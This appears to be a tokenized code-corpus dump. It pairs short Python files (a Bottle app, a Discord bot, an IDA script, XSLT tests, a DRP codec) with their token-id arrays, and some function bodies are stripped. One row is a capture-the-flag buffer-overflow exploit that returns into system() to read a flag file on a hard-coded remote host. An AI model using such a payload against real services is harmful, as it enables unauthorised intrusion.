content
stringlengths
1
1.04M
input_ids
sequencelengths
1
774k
ratio_char_token
float64
0.38
22.9
token_count
int64
1
774k
from bottle import route, run, debug, template, request import sqlite3 def pretty_print_POST(req): """ At this point it is completely built and ready to be fired; it is "prepared". However pay attention at the formatting used in this function because it is programmed to be pretty printed and may differ from the actual request. """ print('{}\n{}\n{}\n\n{}'.format( '-----------START-----------', req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) print ("----") print(req.body.getvalue()) print ("----") items = {1: 'first item', 2: 'second item'} @route('/new', method="GET") recent10 = "SELECT * FROM todo ORDER BY id DESC LIMIT 10;" @route('/') debug(True) run(host='0.0.0.0', port=8080, reloader=True)
[ 6738, 9294, 1330, 6339, 11, 1057, 11, 14257, 11, 11055, 11, 2581, 198, 11748, 44161, 578, 18, 628, 198, 4299, 2495, 62, 4798, 62, 32782, 7, 42180, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1629, 428, 966, 340, 318, 3190, 3170, 290, 3492, 198, 220, 220, 220, 284, 307, 6294, 26, 340, 318, 366, 3866, 29190, 1911, 628, 220, 220, 220, 2102, 1414, 3241, 379, 262, 33313, 973, 287, 220, 198, 220, 220, 220, 428, 2163, 780, 340, 318, 27402, 284, 307, 2495, 220, 198, 220, 220, 220, 10398, 290, 743, 13238, 422, 262, 4036, 2581, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3601, 10786, 90, 32239, 77, 90, 32239, 77, 90, 32239, 77, 59, 77, 90, 92, 4458, 18982, 7, 198, 220, 220, 220, 220, 220, 220, 220, 705, 32284, 2257, 7227, 32284, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 43089, 13, 24396, 1343, 705, 705, 1343, 43089, 13, 6371, 11, 198, 220, 220, 220, 220, 220, 220, 220, 705, 59, 77, 4458, 22179, 10786, 90, 38362, 23884, 4458, 18982, 7, 74, 11, 410, 8, 329, 479, 11, 410, 287, 43089, 13, 50145, 13, 23814, 3419, 828, 198, 220, 220, 220, 220, 220, 220, 220, 43089, 13, 2618, 11, 198, 220, 220, 220, 15306, 198, 220, 220, 220, 3601, 5855, 650, 4943, 198, 220, 220, 220, 3601, 7, 42180, 13, 2618, 13, 1136, 8367, 28955, 198, 220, 220, 220, 3601, 5855, 650, 4943, 198, 198, 23814, 796, 1391, 16, 25, 705, 11085, 2378, 3256, 362, 25, 705, 12227, 2378, 6, 92, 198, 198, 31, 38629, 10786, 14, 3605, 3256, 2446, 2625, 18851, 4943, 628, 198, 49921, 940, 796, 366, 46506, 1635, 16034, 284, 4598, 38678, 11050, 4686, 22196, 34, 27564, 2043, 838, 26033, 198, 31, 38629, 10786, 14, 11537, 198, 198, 24442, 7, 17821, 8, 198, 5143, 7, 4774, 11639, 15, 13, 15, 13, 15, 13, 15, 3256, 2493, 28, 1795, 1795, 11, 18126, 263, 28, 17821, 8, 198 ]
2.60061
328
# -*- coding: utf-8 -* #!/usr/bin/python from dealctrl import *
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 198, 2, 48443, 14629, 14, 8800, 14, 29412, 198, 198, 6738, 1730, 44755, 1330, 1635, 198 ]
2.321429
28
import os import discord import asyncio import logging from discord.ext import commands from simc import SimC logger = logging.getLogger('discord') logger.setLevel(logging.DEBUG) handler = logging.FileHandler( filename='discord.log', encoding='utf-8', mode='w') handler.setFormatter( logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s')) logger.addHandler(handler) TOKEN = os.environ.get("DISCORD_TOKEN") bot = commands.Bot( command_prefix=commands.when_mentioned_or('!'), description='Quick sims in discord') bot.add_cog(SimC(bot, "C:\Simulationcraft(x64)\simc")) @bot.event bot.run(TOKEN)
[ 11748, 28686, 198, 11748, 36446, 198, 11748, 30351, 952, 198, 11748, 18931, 198, 198, 6738, 36446, 13, 2302, 1330, 9729, 198, 6738, 985, 66, 1330, 3184, 34, 198, 198, 6404, 1362, 796, 18931, 13, 1136, 11187, 1362, 10786, 15410, 585, 11537, 198, 6404, 1362, 13, 2617, 4971, 7, 6404, 2667, 13, 30531, 8, 198, 30281, 796, 18931, 13, 8979, 25060, 7, 198, 220, 220, 220, 29472, 11639, 15410, 585, 13, 6404, 3256, 21004, 11639, 40477, 12, 23, 3256, 4235, 11639, 86, 11537, 198, 30281, 13, 2617, 8479, 1436, 7, 198, 220, 220, 220, 18931, 13, 8479, 1436, 10786, 4, 7, 292, 310, 524, 8, 82, 25, 4, 7, 5715, 3672, 8, 82, 25, 4, 7, 3672, 8, 82, 25, 4064, 7, 20500, 8, 82, 6, 4008, 198, 6404, 1362, 13, 2860, 25060, 7, 30281, 8, 198, 198, 10468, 43959, 796, 28686, 13, 268, 2268, 13, 1136, 7203, 26288, 34, 12532, 62, 10468, 43959, 4943, 198, 198, 13645, 796, 9729, 13, 20630, 7, 198, 220, 220, 220, 3141, 62, 40290, 28, 9503, 1746, 13, 12518, 62, 17181, 62, 273, 10786, 13679, 828, 198, 220, 220, 220, 6764, 11639, 21063, 985, 82, 287, 36446, 11537, 198, 198, 13645, 13, 2860, 62, 66, 519, 7, 8890, 34, 7, 13645, 11, 366, 34, 7479, 8890, 1741, 3323, 7, 87, 2414, 19415, 14323, 66, 48774, 628, 198, 31, 13645, 13, 15596, 628, 198, 13645, 13, 5143, 7, 10468, 43959, 8, 198 ]
2.677966
236
import re from .default import DefaultParser
[ 11748, 302, 198, 198, 6738, 764, 12286, 1330, 15161, 46677, 628 ]
4.272727
11
''' @author: m0t ''' #search for blocks colored purple(0x9933cc) and creates a disabled breakpoint at the start of each. #To be used with process stalker to immediately see "interesting" blocks from idc import * from idautils import * purple = 0x9933cc #our definition of purple... #get start address of each function, scan it for purple, setbreakpoint() funit = Functions() prevFlag = False while True: try: faddr = funit.next() except StopIteration: break itemsit = FuncItems(faddr) while True: try: item = itemsit.next() except StopIteration: break if GetColor(item, 1) == purple and prevFlag == False: AddBpt(item) EnableBpt(item, False) prevFlag = True #resetting the flag when we go out of "interesting" block if GetColor(item, 1) != purple and prevFlag == True: prevFlag = False
[ 7061, 6, 198, 31, 9800, 25, 220, 285, 15, 83, 198, 198, 7061, 6, 198, 198, 2, 12947, 329, 7021, 16396, 14032, 7, 15, 87, 2079, 2091, 535, 8, 290, 8075, 257, 10058, 2270, 4122, 379, 262, 923, 286, 1123, 13, 198, 2, 2514, 307, 973, 351, 1429, 336, 20949, 284, 3393, 766, 366, 47914, 1, 7021, 198, 198, 6738, 4686, 66, 1330, 1635, 198, 6738, 4686, 2306, 4487, 1330, 1635, 198, 198, 14225, 1154, 796, 657, 87, 2079, 2091, 535, 197, 2, 454, 6770, 286, 14032, 986, 198, 198, 2, 1136, 923, 2209, 286, 1123, 2163, 11, 9367, 340, 329, 14032, 11, 900, 9032, 4122, 3419, 198, 12543, 270, 796, 40480, 3419, 198, 47050, 34227, 796, 10352, 198, 4514, 6407, 25, 198, 197, 28311, 25, 198, 197, 197, 69, 29851, 796, 1257, 270, 13, 19545, 3419, 198, 197, 16341, 13707, 29993, 341, 25, 198, 197, 197, 9032, 198, 197, 23814, 270, 796, 11138, 66, 23022, 7, 69, 29851, 8, 198, 197, 4514, 6407, 25, 198, 197, 197, 28311, 25, 198, 197, 197, 197, 9186, 796, 3709, 270, 13, 19545, 3419, 198, 197, 197, 16341, 13707, 29993, 341, 25, 198, 197, 197, 197, 9032, 198, 197, 197, 361, 3497, 10258, 7, 9186, 11, 352, 8, 6624, 14032, 290, 8654, 34227, 6624, 10352, 25, 198, 197, 197, 197, 4550, 33, 457, 7, 9186, 8, 198, 197, 197, 197, 36695, 33, 457, 7, 9186, 11, 10352, 8, 198, 197, 197, 197, 47050, 34227, 796, 6407, 198, 197, 197, 2, 411, 35463, 262, 6056, 618, 356, 467, 503, 286, 366, 47914, 1, 2512, 198, 197, 197, 361, 3497, 10258, 7, 9186, 11, 352, 8, 14512, 14032, 290, 8654, 34227, 6624, 6407, 25, 198, 197, 197, 197, 47050, 34227, 796, 10352, 628 ]
2.878472
288
''' Problem Statement Given a string with lowercase letters only, if you are allowed to replace no more than ‘k’ letters with any letter, find the length of the longest substring having the same letters after replacement. Example 1: Input: String="aabccbb", k=2 Output: 5 Explanation: Replace the two 'c' with 'b' to have a longest repeating substring "bbbbb". Example 2: Input: String="abbcb", k=1 Output: 4 Explanation: Replace the 'c' with 'b' to have a longest repeating substring "bbbb". Example 3: Input: String="abccde", k=1 Output: 3 Explanation: Replace the 'b' or 'd' with 'c' to have the longest repeating substring "ccc". ''' # mycode # answer main() ''' Time Complexity The time complexity of the above algorithm will be O(N) where ‘N’ is the number of letters in the input string. Space Complexity As we are expecting only the lower case letters in the input string, we can conclude that the space complexity will be O(26), to store each letter’s frequency in the HashMap, which is asymptotically equal to O(1). '''
[ 7061, 6, 198, 40781, 21983, 198, 15056, 257, 4731, 351, 2793, 7442, 7475, 691, 11, 611, 345, 389, 3142, 284, 6330, 645, 517, 621, 564, 246, 74, 447, 247, 7475, 351, 597, 3850, 11, 1064, 262, 4129, 286, 262, 14069, 3293, 1806, 1719, 262, 976, 7475, 706, 9014, 13, 198, 16281, 352, 25, 198, 20560, 25, 10903, 2625, 64, 397, 535, 11848, 1600, 479, 28, 17, 198, 26410, 25, 642, 198, 3109, 11578, 341, 25, 40177, 262, 734, 705, 66, 6, 351, 705, 65, 6, 284, 423, 257, 14069, 20394, 3293, 1806, 366, 11848, 11848, 65, 1911, 198, 16281, 362, 25, 198, 20560, 25, 10903, 2625, 6485, 21101, 1600, 479, 28, 16, 198, 26410, 25, 604, 198, 3109, 11578, 341, 25, 40177, 262, 705, 66, 6, 351, 705, 65, 6, 284, 423, 257, 14069, 20394, 3293, 1806, 366, 11848, 11848, 1911, 198, 16281, 513, 25, 198, 20560, 25, 10903, 2625, 397, 535, 2934, 1600, 479, 28, 16, 198, 26410, 25, 513, 198, 3109, 11578, 341, 25, 40177, 262, 705, 65, 6, 393, 705, 67, 6, 351, 705, 66, 6, 284, 423, 262, 14069, 20394, 3293, 1806, 366, 535, 66, 1911, 198, 7061, 6, 198, 198, 2, 616, 8189, 628, 198, 198, 2, 3280, 628, 198, 198, 12417, 3419, 628, 198, 7061, 6, 198, 7575, 19157, 414, 198, 464, 640, 13357, 286, 262, 2029, 11862, 481, 307, 440, 7, 45, 8, 810, 564, 246, 45, 447, 247, 318, 262, 1271, 286, 7475, 287, 262, 5128, 4731, 13, 198, 14106, 19157, 414, 198, 1722, 356, 389, 12451, 691, 262, 2793, 1339, 7475, 287, 262, 5128, 4731, 11, 356, 460, 13796, 326, 262, 2272, 13357, 481, 307, 440, 7, 2075, 828, 284, 3650, 1123, 3850, 447, 247, 82, 8373, 287, 262, 21059, 13912, 11, 543, 318, 355, 4948, 457, 313, 1146, 4961, 284, 440, 7, 16, 737, 198, 7061, 6, 198 ]
3.373377
308
'''Contributed by Carey Evans''' import sys from Ft.Xml.Xslt import Processor """outenc.py Test whether 4DOM and 4XSLT produce correct output given different input strings, using different output encodings. The general testing procedure goes: Read document into DOM from string <A>. Extract text into Unicode string <B>. Write DOM to another string <X> using specified output encoding. Read <X> into a DOM, and extract text into Unicode string <Y>. Check whether <B> == <Y>. An exception at any stage is also an error. Any Unicode character can be encoded in any output encoding, e.g. LATIN CAPITAL LETTER C WITH CARON as &#268;. """ # All the following strings are in UTF-8; # I'm not trying to test the parser. input_88591 = '0x0041 is A, 0x00C0 is \303\200.' input_88592 = '0x0041 is A, 0x010C is \304\214.' input_both = '0x0041 is A, 0x00C0 is \303\200, 0x010C is \304\214.' inputs = [('ISO-8859-1', input_88591), # ('ISO-8859-2', input_88592), # ('Unicode', input_both) ] #out_encodings = ['UTF-8', 'ISO-8859-1', 'ISO-8859-2'] out_encodings = ['UTF-8', 'ISO-8859-1'] xslt_input_fmt = '''<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE text [ <!ELEMENT text (#PCDATA)> ]> <text>%s</text>''' xslt_identity = '''<?xml version="1.0"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:output method="xml" indent="no" encoding="%s"/> <xsl:template match="/"> <text><xsl:value-of select="text"/></text> </xsl:template> </xsl:stylesheet>''' #' try: from xml.dom.ext.reader import Sax2 import xml.unicode.iso8859 from xml.sax import saxexts except ImportError: Sax2 = None pass
[ 198, 7061, 6, 4264, 6169, 416, 31612, 13922, 7061, 6, 198, 198, 11748, 25064, 198, 198, 6738, 45231, 13, 55, 4029, 13, 55, 82, 2528, 1330, 32893, 198, 198, 37811, 448, 12685, 13, 9078, 198, 198, 14402, 1771, 604, 39170, 290, 604, 55, 8634, 51, 4439, 3376, 5072, 1813, 1180, 198, 15414, 13042, 11, 1262, 1180, 5072, 2207, 375, 654, 13, 220, 383, 2276, 4856, 198, 1676, 771, 495, 2925, 25, 628, 220, 220, 220, 4149, 3188, 656, 24121, 422, 4731, 1279, 32, 28401, 628, 220, 220, 220, 29677, 2420, 656, 34371, 4731, 1279, 33, 28401, 628, 220, 220, 220, 19430, 24121, 284, 1194, 4731, 1279, 55, 29, 1262, 7368, 5072, 21004, 13, 628, 220, 220, 220, 4149, 1279, 55, 29, 656, 257, 24121, 11, 290, 7925, 2420, 656, 34371, 4731, 1279, 56, 28401, 628, 220, 220, 220, 6822, 1771, 1279, 33, 29, 6624, 1279, 56, 28401, 198, 198, 2025, 6631, 379, 597, 3800, 318, 635, 281, 4049, 13, 220, 4377, 34371, 2095, 460, 198, 1350, 30240, 287, 597, 5072, 21004, 11, 304, 13, 70, 13, 42355, 1268, 20176, 40579, 37994, 5781, 327, 13315, 198, 20034, 1340, 355, 1222, 2, 25022, 26, 13, 198, 198, 37811, 198, 198, 2, 1439, 262, 1708, 13042, 389, 287, 41002, 12, 23, 26, 198, 2, 314, 1101, 407, 2111, 284, 1332, 262, 30751, 13, 198, 198, 15414, 62, 3459, 48952, 796, 705, 15, 87, 405, 3901, 318, 317, 11, 657, 87, 405, 34, 15, 318, 3467, 22572, 59, 2167, 2637, 198, 15414, 62, 3459, 45839, 796, 705, 15, 87, 405, 3901, 318, 317, 11, 657, 87, 20943, 34, 318, 3467, 21288, 59, 22291, 2637, 198, 15414, 62, 16885, 796, 705, 15, 87, 405, 3901, 318, 317, 11, 657, 87, 405, 34, 15, 318, 3467, 22572, 59, 2167, 11, 657, 87, 20943, 34, 318, 3467, 21288, 59, 22291, 2637, 198, 198, 15414, 82, 796, 685, 10786, 40734, 12, 3459, 3270, 12, 16, 3256, 5128, 62, 3459, 48952, 828, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 19203, 40734, 12, 3459, 3270, 12, 17, 3256, 5128, 62, 3459, 45839, 828, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 220, 19203, 3118, 291, 1098, 3256, 5128, 62, 16885, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2361, 198, 198, 2, 448, 62, 12685, 375, 654, 796, 37250, 48504, 12, 23, 3256, 705, 40734, 12, 3459, 3270, 12, 16, 3256, 705, 40734, 12, 3459, 3270, 12, 17, 20520, 198, 448, 62, 12685, 375, 654, 796, 37250, 48504, 12, 23, 3256, 705, 40734, 12, 3459, 3270, 12, 16, 20520, 198, 198, 34223, 2528, 62, 15414, 62, 69, 16762, 796, 705, 7061, 47934, 19875, 2196, 2625, 16, 13, 15, 1, 21004, 2625, 48504, 12, 23, 13984, 29, 198, 27, 0, 18227, 4177, 56, 11401, 2420, 685, 1279, 0, 36, 2538, 10979, 2420, 17426, 5662, 26947, 8, 29, 2361, 29, 198, 27, 5239, 29, 4, 82, 3556, 5239, 29, 7061, 6, 198, 34223, 2528, 62, 738, 414, 796, 705, 7061, 47934, 19875, 2196, 2625, 16, 13, 15, 13984, 29, 198, 27, 87, 6649, 25, 47720, 25473, 35555, 5907, 25, 87, 6649, 2625, 4023, 1378, 2503, 13, 86, 18, 13, 2398, 14, 18946, 14, 55, 8634, 14, 41762, 1, 2196, 2625, 16, 13, 15, 5320, 198, 27, 87, 6649, 25, 22915, 2446, 2625, 19875, 1, 33793, 2625, 3919, 1, 21004, 2625, 4, 82, 26700, 198, 27, 87, 6649, 25, 28243, 2872, 35922, 5320, 198, 1279, 5239, 6927, 87, 6649, 25, 8367, 12, 1659, 2922, 2625, 5239, 1, 14, 12240, 5239, 29, 198, 3556, 87, 6649, 25, 28243, 29, 198, 3556, 87, 6649, 25, 47720, 25473, 29, 7061, 6, 198, 2, 6, 198, 198, 28311, 25, 198, 220, 220, 220, 422, 35555, 13, 3438, 13, 2302, 13, 46862, 1330, 29242, 17, 198, 220, 220, 220, 1330, 35555, 13, 46903, 1098, 13, 26786, 3459, 3270, 198, 220, 220, 220, 422, 35555, 13, 82, 897, 1330, 46909, 2302, 82, 198, 16341, 17267, 12331, 25, 198, 220, 220, 220, 29242, 17, 796, 6045, 198, 220, 220, 220, 1208, 198 ]
2.533532
671
#!/usr/bin/env python # -*- encoding: utf-8 -*- from __future__ import print_function import h2o from tests import pyunit_utils from h2o.estimators.glm import H2OGeneralizedLinearEstimator if __name__ == "__main__": pyunit_utils.standalone_test(testOrdinalLogit) else: testOrdinalLogit()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 21004, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 11748, 289, 17, 78, 198, 6738, 5254, 1330, 12972, 20850, 62, 26791, 198, 6738, 289, 17, 78, 13, 395, 320, 2024, 13, 4743, 76, 1330, 367, 17, 7730, 877, 282, 1143, 14993, 451, 22362, 320, 1352, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 12972, 20850, 62, 26791, 13, 1481, 17749, 62, 9288, 7, 9288, 35422, 1292, 11187, 270, 8, 198, 17772, 25, 198, 220, 220, 220, 1332, 35422, 1292, 11187, 270, 3419, 198 ]
2.614035
114
from django.db import models
[ 6738, 42625, 14208, 13, 9945, 1330, 4981, 628, 198 ]
3.444444
9
import socket import struct from binascii import hexlify system_plt = 0x080483a0 sh = 0x80485c0 # /bin/bash -c 'cat flag.txt' payload = "A"*140 payload += struct.pack("<I", system_plt) payload += "AAAA" payload += struct.pack("<I", sh) #open('payload', 'w').write(payload) s=socket.create_connection(('212.71.235.214', 5000)) print s.recv(1024) s.send(payload+'\n') print s.recv(1024) #flag{assembly_is_awesome!!}
[ 11748, 17802, 198, 11748, 2878, 198, 6738, 9874, 292, 979, 72, 1330, 17910, 75, 1958, 198, 198, 10057, 62, 489, 83, 796, 657, 87, 33057, 38783, 64, 15, 198, 1477, 796, 657, 87, 1795, 32642, 66, 15, 1303, 1220, 8800, 14, 41757, 532, 66, 705, 9246, 6056, 13, 14116, 6, 198, 198, 15577, 2220, 796, 366, 32, 1, 9, 15187, 198, 15577, 2220, 15853, 2878, 13, 8002, 7203, 27, 40, 1600, 1080, 62, 489, 83, 8, 198, 15577, 2220, 15853, 366, 17922, 1, 198, 15577, 2220, 15853, 2878, 13, 8002, 7203, 27, 40, 1600, 427, 8, 198, 198, 2, 9654, 10786, 15577, 2220, 3256, 705, 86, 27691, 13564, 7, 15577, 2220, 8, 198, 198, 82, 28, 44971, 13, 17953, 62, 38659, 7, 10786, 21777, 13, 4869, 13, 22370, 13, 22291, 3256, 23336, 4008, 198, 4798, 264, 13, 8344, 85, 7, 35500, 8, 198, 82, 13, 21280, 7, 15577, 2220, 10, 6, 59, 77, 11537, 198, 198, 4798, 264, 13, 8344, 85, 7, 35500, 8, 198, 198, 2, 32109, 90, 41873, 62, 271, 62, 707, 5927, 3228, 92, 628 ]
2.365169
178
import struct
[ 11748, 2878, 198 ]
4.666667
3
from random import randrange kingCards = ['C', 'C', 'C', 'C', 'K'] slaveCards = ['C', 'C', 'C', 'C', 'S'] print("""- C = Citizen - S = Slave - K = King""") for i in range(5): print('Your cards:', slaveCards) cardIPlay = input('Which card will you play? ') slaveCards.remove(cardIPlay) cardKPlay = kingCards[randrange(len(kingCards))] kingCards.remove(cardKPlay) print('The enemy played', cardKPlay + '!') if cardIPlay == 'S' and cardKPlay == 'C': print('Defeated!') break elif cardIPlay == 'C' and cardKPlay == 'K': print('Defeated!') break elif cardIPlay == 'S' and cardKPlay == 'K': print('Victory!') break else: print('Draw!')
[ 6738, 4738, 1330, 43720, 9521, 198, 198, 3364, 34, 1371, 796, 37250, 34, 3256, 705, 34, 3256, 705, 34, 3256, 705, 34, 3256, 705, 42, 20520, 198, 36341, 34, 1371, 796, 37250, 34, 3256, 705, 34, 3256, 705, 34, 3256, 705, 34, 3256, 705, 50, 20520, 198, 4798, 7203, 15931, 12, 327, 796, 22307, 198, 12, 311, 796, 38795, 198, 12, 509, 796, 2677, 15931, 4943, 198, 1640, 1312, 287, 2837, 7, 20, 2599, 198, 220, 220, 220, 3601, 10786, 7120, 4116, 25, 3256, 11778, 34, 1371, 8, 198, 220, 220, 220, 2657, 40, 11002, 796, 5128, 10786, 13828, 2657, 481, 345, 711, 30, 705, 8, 198, 220, 220, 220, 11778, 34, 1371, 13, 28956, 7, 9517, 40, 11002, 8, 198, 220, 220, 220, 2657, 42, 11002, 796, 5822, 34, 1371, 58, 25192, 9521, 7, 11925, 7, 3364, 34, 1371, 4008, 60, 198, 220, 220, 220, 5822, 34, 1371, 13, 28956, 7, 9517, 42, 11002, 8, 198, 220, 220, 220, 3601, 10786, 464, 4472, 2826, 3256, 2657, 42, 11002, 1343, 705, 0, 11537, 198, 220, 220, 220, 611, 2657, 40, 11002, 6624, 705, 50, 6, 290, 2657, 42, 11002, 6624, 705, 34, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 7469, 68, 515, 0, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 220, 220, 220, 1288, 361, 2657, 40, 11002, 6624, 705, 34, 6, 290, 2657, 42, 11002, 6624, 705, 42, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 7469, 68, 515, 0, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 220, 220, 220, 1288, 361, 2657, 40, 11002, 6624, 705, 50, 6, 290, 2657, 42, 11002, 6624, 705, 42, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 21944, 652, 0, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 25302, 0, 11537, 198 ]
2.230061
326
from boiler.testing.testcase import ViewTestCase from tests.test_app.app import app as test_app class BaseTestCase(ViewTestCase): """ Base test case Uses test case from shiftboiler to provide flask-integrated testing facilities. """
[ 6738, 36741, 13, 33407, 13, 9288, 7442, 1330, 3582, 14402, 20448, 198, 6738, 5254, 13, 9288, 62, 1324, 13, 1324, 1330, 598, 355, 1332, 62, 1324, 628, 198, 4871, 7308, 14402, 20448, 7, 7680, 14402, 20448, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 7308, 1332, 1339, 198, 220, 220, 220, 36965, 1332, 1339, 422, 6482, 2127, 5329, 284, 2148, 42903, 12, 18908, 4111, 4856, 198, 220, 220, 220, 7291, 13, 198, 220, 220, 220, 37227, 628 ]
3.240506
79
from classes.portfolio import Portfolio from classes.menu import Menu main()
[ 6738, 6097, 13, 634, 13652, 1330, 4347, 13652, 198, 6738, 6097, 13, 26272, 1330, 21860, 198, 198, 12417, 3419, 198 ]
3.9
20
import plac import os from collections import defaultdict import logging logging.basicConfig (format="%(asctime)s : %(levelname)s : %(message)s", level=logging.INFO) @plac.annotations( dirname = ("path of the directory", "positional"), srcfile = ("source filename", "positional"), tgtfile = ("target filename", "positional") ) if __name__ == "__main__": plac.call (main)
[ 11748, 21957, 198, 11748, 28686, 198, 6738, 17268, 1330, 4277, 11600, 198, 11748, 18931, 198, 198, 6404, 2667, 13, 35487, 16934, 357, 18982, 2625, 4, 7, 292, 310, 524, 8, 82, 1058, 4064, 7, 5715, 3672, 8, 82, 1058, 4064, 7, 20500, 8, 82, 1600, 1241, 28, 6404, 2667, 13, 10778, 8, 198, 198, 31, 489, 330, 13, 34574, 602, 7, 198, 197, 15908, 3672, 796, 5855, 6978, 286, 262, 8619, 1600, 366, 1930, 1859, 12340, 198, 197, 10677, 7753, 796, 5855, 10459, 29472, 1600, 366, 1930, 1859, 12340, 198, 197, 83, 13655, 7753, 796, 5855, 16793, 29472, 1600, 366, 1930, 1859, 4943, 198, 8, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 197, 489, 330, 13, 13345, 357, 12417, 8, 198 ]
2.976378
127
#!/usr/bin/python3 __author__ = "yang.dd" """ example 080 """ if __name__ == '__main__': ''' 从第五只猴子拿1个的桃子开始算 如果有一只不满足条件,则从头开始计算,直到满足 ''' monkey = 5 peach5th = 1 peach = 1 while monkey > 1: total = peach * 5 + 1 if total % 4 == 0: monkey -= 1 peach = total / 4 else: # 从第5只猴开始算 peach5th += 1 peach = peach5th monkey = 5 print("沙滩上最少有:%d个桃子。" % (int(peach * 5 + 1)))
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 198, 198, 834, 9800, 834, 796, 366, 17859, 13, 1860, 1, 198, 198, 37811, 198, 220, 220, 220, 1672, 657, 1795, 198, 37811, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 220, 220, 220, 220, 220, 20015, 236, 163, 105, 105, 49390, 20998, 103, 163, 234, 112, 36310, 162, 233, 123, 16, 10310, 103, 21410, 162, 94, 225, 36310, 28156, 222, 34650, 233, 163, 106, 245, 198, 220, 220, 220, 220, 220, 220, 220, 10263, 99, 224, 162, 252, 250, 17312, 231, 31660, 20998, 103, 38834, 162, 119, 94, 164, 114, 111, 30266, 94, 20015, 114, 171, 120, 234, 26344, 247, 20015, 236, 13783, 112, 28156, 222, 34650, 233, 164, 106, 94, 163, 106, 245, 171, 120, 234, 33566, 112, 26344, 108, 162, 119, 94, 164, 114, 111, 198, 220, 220, 220, 705, 7061, 198, 220, 220, 220, 21657, 796, 642, 198, 220, 220, 220, 47565, 20, 400, 796, 352, 198, 220, 220, 220, 47565, 796, 352, 628, 220, 220, 220, 981, 21657, 1875, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2472, 796, 47565, 1635, 642, 1343, 352, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2472, 4064, 604, 6624, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21657, 48185, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 47565, 796, 2472, 1220, 604, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 220, 20015, 236, 163, 105, 105, 20, 20998, 103, 163, 234, 112, 28156, 222, 34650, 233, 163, 106, 245, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 47565, 20, 400, 15853, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 47565, 796, 47565, 20, 400, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21657, 796, 642, 628, 220, 220, 220, 3601, 7203, 162, 110, 247, 162, 119, 102, 41468, 17312, 222, 22887, 239, 17312, 231, 171, 120, 248, 4, 67, 10310, 103, 162, 94, 225, 36310, 16764, 1, 4064, 357, 600, 7, 431, 620, 1635, 642, 1343, 352, 22305, 198 ]
1.335065
385
#!/usr/bin/env python3 import os import zlib from struct import pack, unpack class Codec(object): """\ Main codec for DRP. """ def run(self): """\ Run the codec and write the output file. """ with open(self.ifname, 'rb') as f: self.iofunc(f) def encode(self, f): """\ Encode DRP: Boilderplate header and XML compression """ if os.path.basename(self.ofname) == "musicInfo.drp": type = 0 elif os.path.basename(self.ofname) == "katsu_theme.drp": type = 1 else: print("Please name your output file correctly. It should be musicInfo.drp or katsu_theme.drp.") sys.exit() rxml_data = f.read() bxml_data = zlib.compress(rxml_data) bxmls = (len(bxml_data) + 12) if type == 0 else (len(bxml_data) + 8) # 12 for Taiko 3, 4 for Taiko 1.. And 8 for katsu_theme checksum = len(rxml_data) #Margin is different for katsu unknown_margin = (0x20000001, 0x0310, 0x00010001, 0) if type == 0 else (0x20000001, 0x01B0, 0x00010001, 0) quadup = lambda x: (x, x, x, x) align = lambda x: x * b'\x00' with open(self.ofname, 'wb') as of: unknown, filecount = 2, 1 of.seek(0x14) of.write(pack('>HH', unknown, filecount)) of.seek(0x60) # Notice: the original musicInfo.drp stores the filename # `musicinfo_db`, which might be game-specific if type == 0: of.write(bytes("musicinfo_db".encode('ascii'))) if type == 1: of.write(bytes("katsu_theme_db".encode('ascii'))) of.seek(0xa0) #Jump to A0 (Where the unknown string is written and the rest of it) of.write(pack('>9I', *unknown_margin, *quadup(bxmls), #??? checksum)) of.write(bxml_data) remain = of.tell() % 0x10 if remain: of.write(align(0x10 - remain)) def decode(self, f): """\ Decode DRP: Decompress XML data """ f.seek(0x14) unknown, filecount = unpack('>HH', f.read(4)) if filecount != 1: #TODO... print('Not a single XML compressed file, internal names will be used instead.') f.seek(0x60) for i in range(filecount): fname = f.read(0x40).split(b'\x00')[0].decode("utf-8") print(fname) #No idea what this line is. f.read(0x10) # bxmls: binary XML size (zlib compressed), rxmls: Raw XML size # the 4 bxmls are duplicate, and rxmls is for checksum bxmls, bxmls2, bxmls3, bxmls4, rxmls = unpack('>5I', f.read(4 * 5)) bxml_data = f.read(bxmls - 4) # rxmls is an unsigned integer if bxmls > 80: 